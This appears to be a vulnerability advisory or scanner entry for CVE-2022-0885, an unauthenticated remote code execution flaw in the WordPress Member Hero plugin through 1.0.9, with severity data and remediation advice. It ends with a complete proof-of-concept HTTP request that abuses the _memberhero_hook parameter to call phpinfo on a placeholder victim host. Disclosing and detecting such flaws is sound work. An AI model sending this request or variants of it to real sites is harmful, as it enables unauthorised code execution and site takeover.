| Title | Member Hero <=1.0.9 - Remote Code Execution |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | An attacker can execute arbitrary code on the target system, potentially leading to a complete compromise of the WordPress site. |
| Remediation | Update to the latest version of the Member Hero plugin (1.0.9 or higher) to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.87398 |
| CVE ID | CVE-2022-0885 |
| CWE ID | CWE-862 |
| Tags | cve cve2022 unauth wpscan wp-plugin rce wp wordpress member-hero memberhero vkev vuln |
WordPress Member Hero plugin through 1.0.9 is susceptible to remote code execution. The plugin lacks authorization checks and does not validate the a request parameter in an AJAX action, allowing an attacker to call arbitrary PHP functions with no arguments. An attacker can thus execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
GET /wp-admin/admin-ajax.php?action=memberhero_send_form&_memberhero_hook=phpinfo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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